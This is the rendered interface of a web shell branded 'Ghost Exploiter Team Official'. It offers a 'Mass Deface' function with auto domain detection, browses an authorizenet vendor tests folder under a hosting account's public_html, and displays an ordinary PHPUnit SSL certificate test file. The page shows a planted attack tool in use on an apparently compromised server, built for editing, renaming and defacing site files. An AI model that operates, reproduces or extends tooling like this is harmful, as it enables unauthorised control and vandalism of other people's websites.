webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
authorizenet
/
authorizenet
/
tests
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
net
--
ren
AuthorizeNetSSL_Test.php
1.511KB
edt
ren
AuthorizeNetTD_Test.php
6.426KB
edt
ren
Controller_Test.php
11.037KB
edt
ren
bootstrap.php
1.931KB
edt
ren
domain.crt
2.302KB
edt
ren
report.html
2.315KB
edt
ren
<?php class AuthorizeNetSSL_Test extends PHPUnit_Framework_TestCase { public function testSandboxSSLCertIsValid() { $this->markTestSkipped('Ignoring for Travis. Will fix after release.'); //TODO exec("echo | openssl s_client -connect test.authorize.net:443 -showcerts -verify 10 -CAfile ../lib/ssl/cert.pem 2>&1", $output, $return_value); $this->assertEquals(0, $return_value); $this->assertTrue(in_array('Verify return code: 0 (ok)', array_map('trim', $output))); exec("echo | openssl s_client -connect apitest.authorize.net:443 -showcerts -verify 10 -CAfile ../lib/ssl/cert.pem 2>&1", $output, $return_value); $this->assertEquals(0, $return_value); $this->assertTrue(in_array('Verify return code: 0 (ok)', array_map('trim', $output))); } public function testLiveSSLCertIsValid() { $this->markTestSkipped('Ignoring for Travis. Will fix after release.'); //TODO exec("echo | openssl s_client -connect secure2.authorize.net:443 -showcerts -verify 10 -CAfile ../lib/ssl/cert.pem 2>&1", $output, $return_value); $this->assertEquals(0, $return_value); $this->assertTrue(in_array('Verify return code: 0 (ok)', array_map('trim', $output))); exec("echo | openssl s_client -connect api2.authorize.net:443 -showcerts -verify 10 -CAfile ../lib/ssl/cert.pem 2>&1", $output, $return_value); $this->assertEquals(0, $return_value); $this->assertTrue(in_array('Verify return code: 0 (ok)', array_map('trim', $output))); } }